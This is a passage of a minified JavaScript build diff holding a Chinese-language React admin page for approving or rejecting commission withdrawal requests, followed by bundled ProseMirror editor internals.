border-0",children:"待用户确认"});case"processing":return s.jsx(qe,{className:"bg-blue-500/20 text-blue-400 hover:bg-blue-500/20 border-0",children:"已审批等待打款"});case"success":case"completed":return s.jsx(qe,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"已完成"});case"failed":case"rejected":return s.jsx(qe,{className:"bg-red-500/20 text-red-400 hover:bg-red-500/20 border-0",children:"已拒绝"});default:return s.jsx(qe,{className:"bg-gray-500/20 text-gray-400 border-0",children:$})}}return s.jsxs("div",{className:"p-8 w-full",children:[o&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:o}),s.jsx("button",{type:"button",onClick:()=>c(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-start mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold text-white",children:"分账提现管理"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"管理用户分销收益的提现申请"})]}),s.jsxs(te,{variant:"outline",onClick:R,disabled:a,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${a?"animate-spin":""}`}),"刷新"]})]}),s.jsx(Ce,{className:"bg-gradient-to-r from-[#38bdac]/10 to-[#0f2137] border-[#38bdac]/30 mb-6",children:s.jsx(Ee,{className:"p-4",children:s.jsxs("div",{className:"flex items-start gap-3",children:[s.jsx(dh,{className:"w-5 h-5 text-[#38bdac] mt-0.5"}),s.jsxs("div",{children:[s.jsx("h3",{className:"text-white font-medium mb-2",children:"自动分账规则"}),s.jsxs("div",{className:"text-sm text-gray-400 space-y-1",children:[s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"分销比例"}),":推广者获得订单金额的"," ",s.jsx("span",{className:"text-white font-medium",children:"90%"})]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"结算方式"}),":用户付款后,分销收益自动计入推广者账户"]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"提现方式"}),":用户在小程序端点击提现,系统自动转账到微信零钱"]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"审批流程"}),":待处理的提现需管理员手动确认打款后批准"]})]})]})]})})}),s.jsxs("div",{className:"grid grid-cols-4 gap-4 mb-6",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-[#38bdac]",children:n.total}),s.jsx("div",{className:"text-sm text-gray-400",children:"总申请"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-orange-400",children:n.pendingCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"待处理"}),s.jsxs("div",{className:"text-xs text-orange-400 mt-1",children:["¥",n.pendingAmount.toFixed(2)]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-green-400",children:n.successCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"已完成"}),s.jsxs("div",{className:"text-xs text-green-400 mt-1",children:["¥",n.successAmount.toFixed(2)]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-red-400",children:n.failedCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"已拒绝"})]})})]}),s.jsx("div",{className:"flex gap-2 mb-4",children:["all","pending","success","failed"].map($=>s.jsx(te,{variant:u===$?"default":"outline",size:"sm",onClick:()=>h($),className:u===$?"bg-[#38bdac] hover:bg-[#2da396] text-white":"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:$==="all"?"全部":$==="pending"?"待处理":$==="success"?"已完成":"已拒绝"},$))}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:a?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):t.length===0?s.jsxs("div",{className:"text-center py-12",children:[s.jsx(jl,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无提现记录"})]}):s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"申请时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"提现金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户佣金信息"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"处理时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"确认收款"}),s.jsx("th",{className:"p-4 text-right font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:t.map($=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4 text-gray-400",children:new Date($.createdAt??"").toLocaleString()}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{className:"flex items-center gap-2",children:[$.userAvatar?s.jsx("img",{src:$.userAvatar,alt:$.userName??"",className:"w-8 h-8 rounded-full object-cover"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm text-[#38bdac]",children:($.userName??"?").charAt(0)}),s.jsxs("div",{children:[s.jsx("p",{className:"font-medium text-white",children:$.userName??"未知"}),s.jsx("p",{className:"text-xs text-gray-500",children:$.userPhone??$.referralCode??($.userId??"").slice(0,10)})]})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("span",{className:"font-bold text-orange-400",children:["¥",Number($.amount).toFixed(2)]})}),s.jsx("td",{className:"p-4",children:$.userCommissionInfo?s.jsxs("div",{className:"text-xs space-y-1",children:[s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"累计佣金:"}),s.jsxs("span",{className:"text-[#38bdac] font-medium",children:["¥",$.userCommissionInfo.totalCommission.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"已提现:"}),s.jsxs("span",{className:"text-gray-400",children:["¥",$.userCommissionInfo.withdrawnEarnings.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"待审核:"}),s.jsxs("span",{className:"text-orange-400",children:["¥",$.userCommissionInfo.pendingWithdrawals.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4 pt-1 border-t border-gray-700/30",children:[s.jsx("span",{className:"text-gray-500",children:"审核后余额:"}),s.jsxs("span",{className:$.userCommissionInfo.availableAfterThis>=0?"text-green-400 font-medium":"text-red-400 font-medium",children:["¥",$.userCommissionInfo.availableAfterThis.toFixed(2)]})]})]}):s.jsx("span",{className:"text-gray-500 text-xs",children:"暂无数据"})}),s.jsxs("td",{className:"p-4",children:[xe($.status),$.errorMessage&&s.jsx("p",{className:"text-xs text-red-400 mt-1",children:$.errorMessage})]}),s.jsx("td",{className:"p-4 text-gray-400",children:$.processedAt?new Date($.processedAt).toLocaleString():"-"}),s.jsx("td",{className:"p-4 text-gray-400",children:$.userConfirmedAt?s.jsxs("span",{className:"text-green-400",title:$.userConfirmedAt,children:["已确认 ",new Date($.userConfirmedAt).toLocaleString()]}):"-"}),s.jsxs("td",{className:"p-4 text-right",children:[($.status==="pending"||$.status==="pending_confirm")&&s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsxs(te,{size:"sm",onClick:()=>_($.id),disabled:v===$.id,className:"bg-green-600 hover:bg-green-700 text-white",children:[s.jsx(ff,{className:"w-4 h-4 mr-1"}),"批准"]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>Z($.id),disabled:v===$.id,className:"border-red-500/50 text-red-400 hover:bg-red-500/10 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-1"}),"拒绝"]})]}),($.status==="success"||$.status==="completed")&&$.transactionId&&s.jsx("span",{className:"text-xs text-gray-500 font-mono",children:$.transactionId})]})]},$.id))})]})}),s.jsx(is,{page:f,totalPages:D,total:N,pageSize:g,onPageChange:m,onPageSizeChange:$=>{y($),m(1)}})]})})}),s.jsx(Dt,{open:!!C,onOpenChange:$=>!$&&fe(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"拒绝提现"})}),s.jsxs("div",{className:"space-y-4",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"拒绝后该笔提现金额将返还用户余额。"}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"拒绝原因(必填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"请输入拒绝原因",value:T,onChange:$=>I($.target.value)})})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:fe,disabled:O,children:"取消"}),s.jsx(te,{className:"bg-red-600 hover:bg-red-700 text-white",onClick:ne,disabled:O||!T.trim(),children:O?"提交中...":"确认拒绝"})]})]})})]})}var Bm={exports:{}},Vm={};/** +确认已核实用户账户并完成打款?`))return}else if(!confirm("确认已完成打款?批准后将更新用户提现记录。"))return;k($);try{const oe=await zt("/api/admin/withdrawals",{id:$,action:"approve"});oe!=null&&oe.success?R():ie.error("操作失败: "+((oe==null?void 0:oe.error)??""))}catch{ie.error("操作失败")}finally{k(null)}}function Z($){E($),I("")}async function ne(){const $=C;if(!$)return;const H=T.trim();if(!H){ie.error("请填写拒绝原因");return}L(!0);try{const oe=await zt("/api/admin/withdrawals",{id:$,action:"reject",errorMessage:H});oe!=null&&oe.success?(ie.success("已拒绝该提现申请"),E(null),I(""),R()):ie.error("操作失败: "+((oe==null?void 0:oe.error)??""))}catch{ie.error("操作失败")}finally{L(!1)}}function fe(){C&&ie.info("已取消操作"),E(null),I("")}function xe($){switch($){case"pending":return s.jsx(We,{className:"bg-orange-500/20 text-orange-400 hover:bg-orange-500/20 border-0",children:"待处理"});case"pending_confirm":return s.jsx(We,{className:"bg-orange-500/20 text-orange-400 hover:bg-orange-500/20 border-0",children:"待用户确认"});case"processing":return s.jsx(We,{className:"bg-blue-500/20 text-blue-400 hover:bg-blue-500/20 border-0",children:"已审批等待打款"});case"success":case"completed":return s.jsx(We,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"已完成"});case"failed":case"rejected":return s.jsx(We,{className:"bg-red-500/20 text-red-400 hover:bg-red-500/20 border-0",children:"已拒绝"});default:return s.jsx(We,{className:"bg-gray-500/20 text-gray-400 border-0",children:$})}}return s.jsxs("div",{className:"p-8 w-full",children:[o&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:o}),s.jsx("button",{type:"button",onClick:()=>c(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-start mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold text-white",children:"分账提现管理"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"管理用户分销收益的提现申请"})]}),s.jsxs(te,{variant:"outline",onClick:R,disabled:a,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${a?"animate-spin":""}`}),"刷新"]})]}),s.jsx(Ce,{className:"bg-gradient-to-r from-[#38bdac]/10 to-[#0f2137] border-[#38bdac]/30 mb-6",children:s.jsx(Ee,{className:"p-4",children:s.jsxs("div",{className:"flex items-start gap-3",children:[s.jsx(dh,{className:"w-5 h-5 text-[#38bdac] mt-0.5"}),s.jsxs("div",{children:[s.jsx("h3",{className:"text-white font-medium mb-2",children:"自动分账规则"}),s.jsxs("div",{className:"text-sm text-gray-400 space-y-1",children:[s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"分销比例"}),":推广者获得订单金额的"," ",s.jsx("span",{className:"text-white font-medium",children:"90%"})]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"结算方式"}),":用户付款后,分销收益自动计入推广者账户"]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"提现方式"}),":用户在小程序端点击提现,系统自动转账到微信零钱"]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"审批流程"}),":待处理的提现需管理员手动确认打款后批准"]})]})]})]})})}),s.jsxs("div",{className:"grid grid-cols-4 gap-4 mb-6",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-[#38bdac]",children:n.total}),s.jsx("div",{className:"text-sm text-gray-400",children:"总申请"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-orange-400",children:n.pendingCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"待处理"}),s.jsxs("div",{className:"text-xs text-orange-400 mt-1",children:["¥",n.pendingAmount.toFixed(2)]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-green-400",children:n.successCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"已完成"}),s.jsxs("div",{className:"text-xs text-green-400 mt-1",children:["¥",n.successAmount.toFixed(2)]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-red-400",children:n.failedCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"已拒绝"})]})})]}),s.jsx("div",{className:"flex gap-2 mb-4",children:["all","pending","success","failed"].map($=>s.jsx(te,{variant:u===$?"default":"outline",size:"sm",onClick:()=>h($),className:u===$?"bg-[#38bdac] hover:bg-[#2da396] text-white":"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:$==="all"?"全部":$==="pending"?"待处理":$==="success"?"已完成":"已拒绝"},$))}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:a?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):t.length===0?s.jsxs("div",{className:"text-center py-12",children:[s.jsx(jl,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无提现记录"})]}):s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"申请时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"提现金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户佣金信息"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"处理时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"确认收款"}),s.jsx("th",{className:"p-4 text-right font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:t.map($=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4 text-gray-400",children:new Date($.createdAt??"").toLocaleString()}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{className:"flex items-center gap-2",children:[$.userAvatar?s.jsx("img",{src:$.userAvatar,alt:$.userName??"",className:"w-8 h-8 rounded-full object-cover"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm text-[#38bdac]",children:($.userName??"?").charAt(0)}),s.jsxs("div",{children:[s.jsx("p",{className:"font-medium text-white",children:$.userName??"未知"}),s.jsx("p",{className:"text-xs text-gray-500",children:$.userPhone??$.referralCode??($.userId??"").slice(0,10)})]})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("span",{className:"font-bold text-orange-400",children:["¥",Number($.amount).toFixed(2)]})}),s.jsx("td",{className:"p-4",children:$.userCommissionInfo?s.jsxs("div",{className:"text-xs space-y-1",children:[s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"累计佣金:"}),s.jsxs("span",{className:"text-[#38bdac] font-medium",children:["¥",$.userCommissionInfo.totalCommission.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"已提现:"}),s.jsxs("span",{className:"text-gray-400",children:["¥",$.userCommissionInfo.withdrawnEarnings.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"待审核:"}),s.jsxs("span",{className:"text-orange-400",children:["¥",$.userCommissionInfo.pendingWithdrawals.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4 pt-1 border-t border-gray-700/30",children:[s.jsx("span",{className:"text-gray-500",children:"审核后余额:"}),s.jsxs("span",{className:$.userCommissionInfo.availableAfterThis>=0?"text-green-400 font-medium":"text-red-400 font-medium",children:["¥",$.userCommissionInfo.availableAfterThis.toFixed(2)]})]})]}):s.jsx("span",{className:"text-gray-500 text-xs",children:"暂无数据"})}),s.jsxs("td",{className:"p-4",children:[xe($.status),$.errorMessage&&s.jsx("p",{className:"text-xs text-red-400 mt-1",children:$.errorMessage})]}),s.jsx("td",{className:"p-4 text-gray-400",children:$.processedAt?new Date($.processedAt).toLocaleString():"-"}),s.jsx("td",{className:"p-4 text-gray-400",children:$.userConfirmedAt?s.jsxs("span",{className:"text-green-400",title:$.userConfirmedAt,children:["已确认 ",new Date($.userConfirmedAt).toLocaleString()]}):"-"}),s.jsxs("td",{className:"p-4 text-right",children:[($.status==="pending"||$.status==="pending_confirm")&&s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsxs(te,{size:"sm",onClick:()=>z($.id),disabled:v===$.id,className:"bg-green-600 hover:bg-green-700 text-white",children:[s.jsx(ff,{className:"w-4 h-4 mr-1"}),"批准"]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>Z($.id),disabled:v===$.id,className:"border-red-500/50 text-red-400 hover:bg-red-500/10 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-1"}),"拒绝"]})]}),($.status==="success"||$.status==="completed")&&$.transactionId&&s.jsx("span",{className:"text-xs text-gray-500 font-mono",children:$.transactionId})]})]},$.id))})]})}),s.jsx(is,{page:f,totalPages:D,total:N,pageSize:g,onPageChange:m,onPageSizeChange:$=>{y($),m(1)}})]})})}),s.jsx(Dt,{open:!!C,onOpenChange:$=>!$&&fe(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"拒绝提现"})}),s.jsxs("div",{className:"space-y-4",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"拒绝后该笔提现金额将返还用户余额。"}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"拒绝原因(必填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"请输入拒绝原因",value:T,onChange:$=>I($.target.value)})})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:fe,disabled:O,children:"取消"}),s.jsx(te,{className:"bg-red-600 hover:bg-red-700 text-white",onClick:ne,disabled:O||!T.trim(),children:O?"提交中...":"确认拒绝"})]})]})})]})}var Bm={exports:{}},Vm={};/** * @license React * use-sync-external-store-shim.production.js * @@ -609,10 +609,10 @@ For more information, see https://radix-ui.com/primitives/docs/components/${e.do `),m&&N==y.nodeValue.length)for(let w=y,v;w;w=w.parentNode){if(v=w.nextSibling){v.nodeName=="BR"&&(c=u={node:v.parentNode,offset:Yn(v)+1});break}let k=w.pmViewDesc;if(k&&k.node&&k.node.isBlock)break}}else{let w=y.childNodes[N-1];m=w&&(w.nodeName=="BR"||w.contentEditable=="false")}}if(ls&&f.focusNode&&f.focusNode!=u.node&&f.focusNode.nodeType==1){let y=f.focusNode.childNodes[f.focusOffset];y&&y.contentEditable=="false"&&(a=!0)}if(!(a||m&&ur)&&No(c.node,c.offset,f.anchorNode,f.anchorOffset)&&No(u.node,u.offset,f.focusNode,f.focusOffset))return;let g=!1;if((h.extend||e==n)&&!(m&&ls)){h.collapse(c.node,c.offset);try{e!=n&&h.extend(u.node,u.offset),g=!0}catch{}}if(!g){if(e>n){let N=c;c=u,u=N}let y=document.createRange();y.setEnd(u.node,u.offset),y.setStart(c.node,c.offset),h.removeAllRanges(),h.addRange(y)}}ignoreMutation(e){return!this.contentDOM&&e.type!="selection"}get contentLost(){return this.contentDOM&&this.contentDOM!=this.dom&&!this.dom.contains(this.contentDOM)}markDirty(e,n){for(let r=0,a=0;a=r:er){let c=r+i.border,u=o-i.border;if(e>=c&&n<=u){this.dirty=e==r||n==o?so:$1,e==c&&n==u&&(i.contentLost||i.dom.parentNode!=this.contentDOM)?i.dirty=qs:i.markDirty(e-c,n-c);return}else i.dirty=i.dom==i.contentDOM&&i.dom.parentNode==this.contentDOM&&!i.children.length?so:qs}r=o}this.dirty=so}markParentsDirty(){let e=1;for(let n=this.parent;n;n=n.parent,e++){let r=e==1?so:$1;n.dirty{if(!i)return a;if(i.parent)return i.parent.posBeforeChild(i)})),!n.type.spec.raw){if(o.nodeType!=1){let c=document.createElement("span");c.appendChild(o),o=c}o.contentEditable="false",o.classList.add("ProseMirror-widget")}super(e,[],o,null),this.widget=n,this.widget=n,i=this}matchesWidget(e){return this.dirty==cs&&e.type.eq(this.widget.type)}parseRule(){return{ignore:!0}}stopEvent(e){let n=this.widget.spec.stopEvent;return n?n(e):!1}ignoreMutation(e){return e.type!="selection"||this.widget.spec.ignoreSelection}destroy(){this.widget.type.destroy(this.dom),super.destroy()}get domAtom(){return!0}get ignoreForSelection(){return!!this.widget.type.spec.relaxedSide}get side(){return this.widget.type.side}}class wD extends Nd{constructor(e,n,r,a){super(e,[],n,null),this.textDOM=r,this.text=a}get size(){return this.text.length}localPosFromDOM(e,n){return e!=this.textDOM?this.posAtStart+(n?this.size:0):this.posAtStart+n}domFromPos(e){return{node:this.textDOM,offset:e}}ignoreMutation(e){return e.type==="characterData"&&e.target.nodeValue==e.oldValue}}class wo extends Nd{constructor(e,n,r,a,i){super(e,[],r,a),this.mark=n,this.spec=i}static create(e,n,r,a){let i=a.nodeViews[n.type.name],o=i&&i(n,a,r);return(!o||!o.dom)&&(o=Mo.renderSpec(document,n.type.spec.toDOM(n,r),null,n.attrs)),new wo(e,n,o.dom,o.contentDOM||o.dom,o)}parseRule(){return this.dirty&qs||this.mark.type.spec.reparseInView?null:{mark:this.mark.type.name,attrs:this.mark.attrs,contentElement:this.contentDOM}}matchesMark(e){return this.dirty!=qs&&this.mark.eq(e)}markDirty(e,n){if(super.markDirty(e,n),this.dirty!=cs){let r=this.parent;for(;!r.node;)r=r.parent;r.dirty0&&(i=tx(i,0,e,r));for(let c=0;c{if(!u)return o;if(u.parent)return u.parent.posBeforeChild(u)},r,a),f=h&&h.dom,m=h&&h.contentDOM;if(n.isText){if(!f)f=document.createTextNode(n.text);else if(f.nodeType!=3)throw new RangeError("Text must be rendered as a DOM text node")}else f||({dom:f,contentDOM:m}=Mo.renderSpec(document,n.type.spec.toDOM(n),null,n.attrs));!m&&!n.isText&&f.nodeName!="BR"&&(f.hasAttribute("contenteditable")||(f.contentEditable="false"),n.type.spec.draggable&&(f.draggable=!0));let g=f;return f=KS(f,r,n),h?u=new jD(e,n,r,a,f,m||null,g,h,i,o+1):n.isText?new Tf(e,n,r,a,f,g,i):new gi(e,n,r,a,f,m||null,g,i,o+1)}parseRule(){if(this.node.type.spec.reparseInView)return null;let e={node:this.node.type.name,attrs:this.node.attrs};if(this.node.type.whitespace=="pre"&&(e.preserveWhitespace="full"),!this.contentDOM)e.getContent=()=>this.node.content;else if(!this.contentLost)e.contentElement=this.contentDOM;else{for(let n=this.children.length-1;n>=0;n--){let r=this.children[n];if(this.dom.contains(r.dom.parentNode)){e.contentElement=r.dom.parentNode;break}}e.contentElement||(e.getContent=()=>be.empty)}return e}matchesNode(e,n,r){return this.dirty==cs&&e.eq(this.node)&&Nh(n,this.outerDeco)&&r.eq(this.innerDeco)}get size(){return this.node.nodeSize}get border(){return this.node.isLeaf?0:1}updateChildren(e,n){let r=this.node.inlineContent,a=n,i=e.composing?this.localCompositionInfo(e,n):null,o=i&&i.pos>-1?i:null,c=i&&i.pos<0,u=new SD(this,o&&o.node,e);TD(this.node,this.innerDeco,(h,f,m)=>{h.spec.marks?u.syncToMarks(h.spec.marks,r,e,f):h.type.side>=0&&!m&&u.syncToMarks(f==this.node.childCount?Ft.none:this.node.child(f).marks,r,e,f),u.placeWidget(h,e,a)},(h,f,m,g)=>{u.syncToMarks(h.marks,r,e,g);let y;u.findNodeMatch(h,f,m,g)||c&&e.state.selection.from>a&&e.state.selection.to-1&&u.updateNodeAt(h,f,m,y,e)||u.updateNextNode(h,f,m,e,g,a)||u.addNode(h,f,m,e,a),a+=h.nodeSize}),u.syncToMarks([],r,e,0),this.node.isTextblock&&u.addTextblockHacks(),u.destroyRest(),(u.changed||this.dirty==so)&&(o&&this.protectLocalComposition(e,o),WS(this.contentDOM,this.children,e),El&&MD(this.dom))}localCompositionInfo(e,n){let{from:r,to:a}=e.state.selection;if(!(e.state.selection instanceof Ze)||rn+this.node.content.size)return null;let i=e.input.compositionNode;if(!i||!this.dom.contains(i.parentNode))return null;if(this.node.inlineContent){let o=i.nodeValue,c=AD(this.node.content,o,r-n,a-n);return c<0?null:{node:i,pos:c,text:o}}else return{node:i,pos:-1,text:""}}protectLocalComposition(e,{node:n,pos:r,text:a}){if(this.getDesc(n))return;let i=n;for(;i.parentNode!=this.contentDOM;i=i.parentNode){for(;i.previousSibling;)i.parentNode.removeChild(i.previousSibling);for(;i.nextSibling;)i.parentNode.removeChild(i.nextSibling);i.pmViewDesc&&(i.pmViewDesc=void 0)}let o=new wD(this,i,n,a);e.input.compositionNodes.push(o),this.children=tx(this.children,r,r+a.length,e,o)}update(e,n,r,a){return this.dirty==qs||!e.sameMarkup(this.node)?!1:(this.updateInner(e,n,r,a),!0)}updateInner(e,n,r,a){this.updateOuterDeco(n),this.node=e,this.innerDeco=r,this.contentDOM&&this.updateChildren(a,this.posAtStart),this.dirty=cs}updateOuterDeco(e){if(Nh(e,this.outerDeco))return;let n=this.nodeDOM.nodeType!=1,r=this.dom;this.dom=US(this.dom,this.nodeDOM,ex(this.outerDeco,this.node,n),ex(e,this.node,n)),this.dom!=r&&(r.pmViewDesc=void 0,this.dom.pmViewDesc=this),this.outerDeco=e}selectNode(){this.nodeDOM.nodeType==1&&(this.nodeDOM.classList.add("ProseMirror-selectednode"),(this.contentDOM||!this.node.type.spec.draggable)&&(this.nodeDOM.draggable=!0))}deselectNode(){this.nodeDOM.nodeType==1&&(this.nodeDOM.classList.remove("ProseMirror-selectednode"),(this.contentDOM||!this.node.type.spec.draggable)&&this.nodeDOM.removeAttribute("draggable"))}get domAtom(){return this.node.isAtom}}function F1(t,e,n,r,a){KS(r,e,t);let i=new gi(void 0,t,e,n,r,r,r,a,0);return i.contentDOM&&i.updateChildren(a,0),i}class Tf extends gi{constructor(e,n,r,a,i,o,c){super(e,n,r,a,i,null,o,c,0)}parseRule(){let e=this.nodeDOM.parentNode;for(;e&&e!=this.dom&&!e.pmIsDeco;)e=e.parentNode;return{skip:e||!0}}update(e,n,r,a){return this.dirty==qs||this.dirty!=cs&&!this.inParent()||!e.sameMarkup(this.node)?!1:(this.updateOuterDeco(n),(this.dirty!=cs||e.text!=this.node.text)&&e.text!=this.nodeDOM.nodeValue&&(this.nodeDOM.nodeValue=e.text,a.trackWrites==this.nodeDOM&&(a.trackWrites=null)),this.node=e,this.dirty=cs,!0)}inParent(){let e=this.parent.contentDOM;for(let n=this.nodeDOM;n;n=n.parentNode)if(n==e)return!0;return!1}domFromPos(e){return{node:this.nodeDOM,offset:e}}localPosFromDOM(e,n,r){return e==this.nodeDOM?this.posAtStart+Math.min(n,this.node.text.length):super.localPosFromDOM(e,n,r)}ignoreMutation(e){return e.type!="characterData"&&e.type!="selection"}slice(e,n,r){let 